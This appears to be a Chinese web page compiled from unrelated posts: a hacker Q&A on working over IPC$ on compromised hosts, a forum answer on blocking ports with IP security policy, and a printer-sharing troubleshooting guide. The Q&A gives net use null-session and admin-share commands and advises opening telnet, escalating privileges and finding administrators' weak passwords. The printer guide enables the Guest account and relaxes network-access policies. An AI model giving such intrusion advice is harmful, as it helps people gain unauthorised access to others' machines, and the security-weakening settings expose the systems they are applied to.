6）我已进入了一台肉机，用的管理员帐号，可以看他的系统时间，但是复制程序到他的机子上却不行，每次都提示“拒绝访问，已复制0个文件”，是不是对方有什么服务没开，我该怎么办？
答：不能copy文件有多个可能，除了权限不够外，还可能是对方c$,d$等默认管理共享没开，或者是对方为NTFS文件格式，通过设置，管理员也未必能远程写文件。既然你有管理员权限，那就开telnet上去吧，然后在开它的共享。
7）我用Win98能与对方建立ipc$连接吗？
答：不可以的，要进行ipc$的操作，建议用win2000。
8）我用net use \\ip\ipc$ "" /user ""成功的建立了一个空会话，但用nbtstat -A IP 却无法导出用户列表，这是为什么？
答：空会话在默认的情况下是可以导出用户列表的，但如果管理员通过修改注册表来禁止导出列表，就会出现你所说的情况；或者你自己的NBT没有打开，netstat是建立在NBT之上的。
9）我建立ipc$连接的时候返回如下信息：‘提供的凭据与已存在的凭据集冲突’，怎么回事？
答：呵呵，这说明你与目标主机建立了一个以上的ipc$连接，这是不允许的，把其他的删掉吧：net use \\*.*.*.*\ipc$ /del
10）我在映射的时候出现：
F:\net use h: \\211.161.134.*\e$
系统发生 85 错误。
本地设备名已在使用中。这是怎么回事？
答：你也太粗心了吧，这说明你的h盘正在使用，映射到别的盘符吧！
11）我建立了一个连接f:\net use \\*.*.*.*\ipc$ "123" /user:"ccbirds" 成功了，但当我映射时出现了错误，向我要密码，怎么回事？
F:\net use h: \\*.*.*.*\c$
密码在 \\*.*.*.*\c$ 无效。
请键入 \\*.*.*.*\c$ 的密码:
系统发生 5 错误。
拒绝访问。
答：呵呵，向你要密码说明你当前使用的用户权限不够，不能映射C$这个默认共享，想办法提升权限或者找管理员的弱口令吧！默认共享一般是需要管理员权限的。
12）我用superscan扫到了一个开了139端口的主机，但为什么不能空连接呢？
答：你混淆了ipc$与139的关系，能进行ipc$连接的主机一定开了139或445端口，但开这两个端口的主机可不一定能空连接，因为对方可以关闭ipc$共享.
13）我门局域网里的机器大多都是xp，我用流光扫描到几个administrator帐号口令是空，而且可以连接，但不能复制东西，说错误5。请问为什么？
答：xp的安全性要高一些，在安全策略的默认设置中，对本地帐户的网络登录进行身份验证的时候，默认为来宾权限，即使你用管理员远程登录，也只具有来宾权限，因此你复制文件，当然是错误5：权限不够。
14）我用net use \\192.168.0.2\ipc$ "password" /user:"administrator" 成功，可是 net use i: \\192.168.0.2\c 出现请键入 \\192.168.0.2 的密码，怎么回事情呢？
答：虽然你具有管理员权限，但管理员在设置c盘共享权限时可能并未设置允许administrator访问，所以会出现问题。
15）如果自己的机器禁止了ipc$, 是不是还可以用ipc连接别的机器？
答：可以的。
以上文章转自我的个人空间:
端口被扫描怎么办？
楼主你好，端口一天被扫描几十次很正常，楼主可以安装带隐身功能的防火墙，也可以关闭一些端口，方法如下
需要关闭的端口有 TCP 135、139、445、593、1025 端口和 UDP 135、137、138、445 端口
1打开开始菜单菜单- 控制面板-管理工具-本地IP策略-在本地计算机，在右边窗格的空白位置右击鼠标，弹出快捷菜单，选择创建 IP 安全策略，然后直到下一步的命名，在画面上把激活默认相应规则左边的钩去掉，点击完成
懒得多打字，接下来就复制一下赚分吧(*^__^*) 嘻嘻……
分割线——————————————空间里的
第一步，点击“开始”菜单/设置/控制面板/管理工具，双击打开“本地安全策略”，选中“IP 安全策略，在本地计算机”，在右边窗格的空白位置右击鼠标，弹出快捷菜单，选择“创建 IP 安全策略”（如右图），于是弹出一个向导。在向导中点击“下一步”按钮，为新的安全策略命名；再按“下一步”，则显示“安全通信请求”画面，在画面上把“激活默认相应规则”左边的钩去掉，点击“完成”按钮就创建了一个新的IP 安全策略。
第二步，右击该IP安全策略，在“属性”对话框中，把“使用添加向导”左边的钩去掉，然后单击“添加”按钮添加新的规则，随后弹出“新规则属性”对话框，在画面上点击“添加”按钮，弹出IP筛选器列表窗口；在列表中，首先把“使用添加向导”左边的钩去掉，然后再点击右边的“添加”按钮添加新的筛选器。
第三步，进入“筛选器属性”对话框，首先看到的是寻址，源地址选“任何 IP 地址”，目标地址选“我的 IP 地址”；点击“协议”选项卡，在“选择协议类型”的下拉列表中选择“TCP”，然后在“到此端口”下的文本框中输入“135”，点击“确定”按钮（如左图），这样就添加了一个屏蔽 TCP 135（RPC）端口的筛选器，它可以防止外界通过135端口连上你的电脑。
点击“确定”后回到筛选器列表的对话框，可以看到已经添加了一条策略，重复以上步骤继续添加 TCP 137、139、445、593 端口和 UDP 135、139、445 端口，为它们建立相应的筛选器。
重复以上步骤添加TCP 1025、2745、3127、6129、3389 端口的屏蔽策略，建立好上述端口的筛选器，最后点击“确定”按钮。
第四步，在“新规则属性”对话框中，选择“新 IP 筛选器列表”，然后点击其左边的圆圈上加一个点，表示已经激活，最后点击“筛选器操作”选项卡。在“筛选器操作”选项卡中，把“使用添加向导”左边的钩去掉，点击“添加”按钮，添加“阻止”操作（右图）：在“新筛选器操作属性”的“安全措施”选项卡中，选择“阻止”，然后点击“确定”按钮。
第五步,进入“新规则属性”对话框，点击“新筛选器操作”，其左边的圆圈会加了一个点，表示已经激活，点击“关闭”按钮，关闭对话框；最后回到“新IP安全策略属性”对话框，在“新的IP筛选器列表”左边打钩，按“确定”按钮关闭对话框。在“本地安全策略”窗口，用鼠标右击新添加的 IP 安全策略，然后选择“指派”。
分割线——————————————
之后重启电脑就可以了
求采纳~
如果楼主觉得麻烦，那就装一道防火墙，国产的瑞星风云不错，推荐瑞星，智能化，操作简单，愿意花时间折腾就选毛豆~
用localport方式添加打印机时出现拒绝访问提示？
添加打印机是不需要添加USB端口的，直接把打印机连在USB接口上就可以添加了。
添加打印机步骤：
1.点击“开始”——“设置”——“控制面板”，双击打开“打印机和传真”。
2.点击“添加打印机”，进入“添加打印机向导”，点击“下一步”；
3.选择“连接到这台计算机的本地打印机”，并且将“自动检测并安装我的即插即用打印机”前面的勾去掉，点击“下一步”；
4.在“使用以下端口”中选择“LPT1：打印机端口”(根据实际情况选择)，点击“下一步”（选择“从磁盘安装”）；
5.选择“浏览”，然后选择到下载的驱动程序解压所在的文件夹中，然后选择“确定”；
6.此时，在“打印机”列表中，会自动显示出来打印机的型号，点击“下一步”继续安装驱动；
7.在“打印机名”中，不用修改打印机的名称，使用默认的名称即可；同时，可以根据自己的需要选择是否将打印机设置成为默认打印机（推荐选择“是”）。然后，点击“下一步”；
8.选择“不共享这台打印机”，点击“下一步”；
9.根据自己的需要选择是否“要打印测试页”，点击“下一步”；
10.点击“下一步”，将会出现“正在完成添加打印机向导”的提示界面。此时，选择“完成”。
打印机网络共享打印设置
如果连接打印机的电脑打印正常，可以右击打印机图标—打印机属性—共享（先把打印机共享出来）
然后到客户端创建localport端口，方法如下：
点击开始—控制面板--打印机--添加打印机---添加本地打印机-----创建新端口---local port端口----\\主机的ip地址\共享名称----下一步选择从磁盘安装，找到下载的驱动程序，点击打开，确定，下一步即可
主机端的共享权限修改：
1.我的电脑（计算机）右键管理—本地用户和组—用户—guest，账户已停用的对勾去掉，确定。
2.控制面板\系统和安全\管理工具--本地安全策略—本地策略--用户权利指派—从网络访问此计算机，添加everyone和guest(如果有不需要添加)--拒绝从网络访问这台计算机，把 guest删除。
3.控制面板\系统和安全\管理工具--本地安全策略—本地策略--安全选项—网络访问—本地用户的共享和安全的访问模式--经典。
1.C:\Windows\System32\spool，点击drivers文件夹，右键共享（高级共享）--权限—everyone—完全控制勾选，确定。
Win 7操作系统还需要设置控制面板\网络和 Internet\网络和共享中心\高级共享设置，选择当前配置文件—文件和打印机共享—启用。
主机ip的查看方式：在主机上面，开始—运行—cmd—ipconfig/ALL,就能看到主机的IP。
共享名的查看方式：开始—打印机—打印机图标—属性—共享—共享名。
win764位 连接打印机 本地端口拒绝访问
双机打印机的共享问题
1． 工作站的网上邻居无法浏览到提供共享打印服务的主机。
2． 工作站上无法浏览网上邻居
3． 工作站搜索不到共享打印机
4． 原来可以共享打印，今天所有工作站突然不能打印，如果添加打印机的话，找不到那台主机上的打印机. 访问那台主机需要密码， 点击已经安装的打印机，显示无权访问。
解决Win XP打印共享问题
在进行共享问题的查找时，我们最先要从工作站PING一下打印服务器，以确定网络链路没有问题。
打印共享和文件共享一样，首先是对等网中的双机能实现共享通信，这需要通信所需的基本网络组件安装正确，然后再解决打印机方面的问题。
步骤一：查看双机上的TCP/IP协议是否已启用NetBIOS
双机能实现共享通信需要在TCP/IP协议上捆绑NETBIOS协议解析计算机名，因此我们要查看TCP/IP 上的 NetBIOS是否已经启用。
1．依次单击“开始”—“控制面板”—“网络连接”。
2．右键单击“本地连接”，然后单击“属性”。
3．单击“Internet 协议(TCP/IP)”，首先查看一下，所设置的IP是否同属一个网段，然后单击“属性”。
4．单击“高级”—“WINS”。
5．在“NetBIOS 设置”下，单击“启用 TCP/IP 上的 NetBIOS”，然后单击“确定”两次。
6．单击“关闭”。
步骤二：查看双机是否已安装“Microsoft网络的文件和打印共享”功能并确保它不被 Windows 防火墙阻止
在上述的“本地连接 属性”窗口中的常规选项卡中查看是否已经安装了 Microsoft 网络的文件和打印共享，若没有请按如下操作。
1．单击“开始”—“控制面板”—“网络连接”。
2．右键单击“本地连接”，然后单击“属性”。
3．单击“常规”选项卡，然后单击“安装”。
4．单击“服务”，然后单击“添加”。
5．在“网络服务”列表中，单击“Microsoft 网络的文件和打印共享”，然后单击“确定”。
6．单击“关闭”。
接着查看“文件和打印机共享”功能是否被 Windows 防火墙阻止，方法如下：
1．单击“开始”，单击“控制面板”， 单击“Windows防火墙”。
2．在“常规”选项卡上，确保未选中“不允许例外”复选框（也就是不要打勾）。
3．单击“例外”选项卡。
4．在“例外”选项卡上，确保选中了“文件和打印机共享”复选框（打勾），然后单击“确定”。
步骤三：查看双机上的“计算机浏览器服务”的状态是否是“已启用”
查看双机上的“计算机浏览器服务”的状态是否是“已启用”，若“计算机浏览器服务”的状态为空白则表示没有启用该服务，需要启动已关闭“计算机浏览器服务”，方法如下：
1．右键单击桌面上的“我的电脑”图标，然后单击“管理”。
2．单击“服务和应用程序”— “服务”。
3．在右侧，右键单击“Computer Browser”，然后单击“启动”。
4．关闭“计算机管理”窗口。
步骤四：查看打印服务器上Guest（来宾）帐户的状态，查看本地安全策略是否阻止Guest从网络访问这台计算机，查看本地安全策略“空密码用户只能进行控制台登陆”是启用的
一般情况下，网络打印共享如同文件共享一样也是使用Guest（来宾）帐户来进行访问，因些必须确保GUEST帐号启用，密码永不过期，确保本地安全策略没有拒绝GUEST用户。本地安全策略“空密码用户只能进行控制台登陆”是禁用。
XP系统在默认的情况下， Guest账户是被禁用的，这样局域网中的其它机子就无法访问该机器的共享资源，因此必须启用Guest账户。查看Guest账号是否已启用的方法如下：
1． 右键单击桌面的“我的电脑”，单击“管理”，打开“计算机管理”窗口。
2． 依次展开“计算机管理（本地）— 系统工具 — 本地用户和组 — 用户”，找到Guest账户。如果Guest账户已经停用，它的图标上会有一个红色的打叉号。
3． 右键单击Guest账号，单击“属性”打开Guest属性窗口。在Guest属性对话框中，分别去除“用户不能更改密码”、“密码永不过期”和 “账户已停用”的勾选标记，然后单击“确定”，即可启用Guest账户。
这里要注意，若只是去除“账户已停用”的勾选标记，虽然现在可以开启了GUEST帐号，但“密码永不过期”的勾选没有去除，在共享一段时间后，系统的密码过期功能会使用GUEST帐号突然不能使用。这就是有人反映如国庆节前还好好使用的共享的印，节后回来就不能打印的奇怪现象，其实这只是密码过期在时间上的巧合。有人认为GUEST帐号不是不用密码吗？怎么还会密码过期呢？其实GUEST帐号有密码，这个密码是“空密码”。 若虽然启用了本机的Guest账号，但用户还是不能访问打印服务器提供的共享打印，这可能是组策略不允许Guest账号从网络访问打印服务器。查看本地安全策略是否阻止Guest从网络访问这台计算机以及本地安全策略“空密码用户只能进行控制台登陆”是启用的的方法如下：
1． 单击“开始”—“运行”，在“打开”中输入“gpedit.msc”并点击“确定”，打开组策略窗口。
2． 在组策略窗口中依次展开“本地计算机策略 — 计算机配置 — Windows设置→安全设置 — 本地策略 — 用户权利指派”，在右栏中找到“拒绝从网络访问这台计算机”项，打开后删除其中的Guest账号，接着打开“从网络访问此计算机”项，在属性窗口中添加Guest账号。这样就能使用Guest账号从网络中访问该机的共享资源了。
3． 默认情况下，xp的本地安全策略－用户权限指派里，“空密码用户只能进行控制台登陆”是启用的，空密码的任何帐户都不能从网络访问，只能本地登陆，而guest默认空密码，所以必须“禁用”这项设置。
步骤五：查看打印服务器上是否安装有第三方防火墙软件，以及它是否屏蔽了NetBIOS端口
打印服务器若安装了网络防火墙软件，如果设置不当，同样导致用户无法共享打印服务的打印服务。我们要确保网络防火墙软件开放了NetBIOS端口。
步骤六：查杀病毒
病毒捣乱影响网络打印机共享打印操作的情况很罕见。据报道有一种名为Backdoor.Spyboter.ay.enc的网络病毒能将将共享资源停掉。
该类型的病毒往往会在Windows系统安装根目录中以及“Winntsystem32”目录中自动产生一个可执行文件“wuam.exe”，该文件其实就是特殊的木马文件，它被执行之后将会自动在后台将系统所有的共享资源全部停止掉，这样的话其他工作站用户自然就不能访问到打印服务器中的共享资源了，更不要说去访问网络打印机了。“wuam.exe”木马文件会随系统自动启动执行。
检查打印机驱动程序
打印机的驱动程序有时候也会莫明其妙地出现问题，若上述有关网络通信方面的问题最后确定没有问题，我们就应考虑打印服务器和工作站上的打印驱动程序问题。我们可以通过交叉测试局域网内不同的机子，以及把打印机换到别的机子进行测试来确定这个问题。
如何检查打印机驱动程序。要确定是否是打印机驱动程序安装有问题，删除打印驱动，并重新安装默认打印机驱动程序，请按照下列步骤操作：
1． 依次打开“开始——控制面板——打印机和传真” 。
2． 右键单击默认打印机图标, 然后单击“删除”。在其左上角黑色圆圈中，默认打印机图标有白色复选标记。
3． 如果确认要删除此打印机，请单击“是” 。
4． 双击“添加打印机”， 然后单击“下一步”。
5． 单击“连接到此计算机本地打印机”（若是在工作站上，则是“网络打印机”），然后单击“下一步”。
6． 然后单击“下一步”，使用打印机端口。在 制造商 列表, 单击名称是打印机制造商, 和打印机列表中，单击打印机型号名称。
7． 单击三次“下一步” ， 然后以指示您要打印测试页, 单击 Yes 。
8． 单击 “下一步”， 然后单击“完成”。
9． 如果测试页打印正确单击“确定” 。
通过从写字板打印文档测试打印机。 如果重新安装打印驱动程序后仍不能从写字板打印，尝试打印使用 Generic/TextOnly 打印机驱动程序。这样做只须在上述第6步中，在制造商列表，单击 Generic，并在打印机列表，单击 Generic/TextOnly 。若这样安装以后能打印，说明驱动安装程序有问题，请与制造商联系或从互联网上查找最新驱动。
总 结：
对于一个初建的网络共享打印环境，也许我们要经历上述提到的这些步骤。但是对于一个在使用的公司的打印共享，各种设置已经定型，出现的故障几率也比较小，多数也出现在承担打印服务器的XP电脑上。最好的情况是，打印服务器也提供文件共享，这样我们可以先测试一下是否能访问它的共享文件，以确定到打印服务器的共享通道是否正常。
若能浏览共享文件，则问题就是出现在打印机上，也许是打印机名改变了，也许是打印驱动程序出错了。
若是本来能正常使用，现在突然不行，也不能访问共享文件，就应考虑GUEST帐启停用的问题，以及打印服务器是否新装了网络防火墙软件，还有是不是病毒侵扰。若最后确定共享网络没有问题，就要查看打印机驱动的问题。
0条大神的评论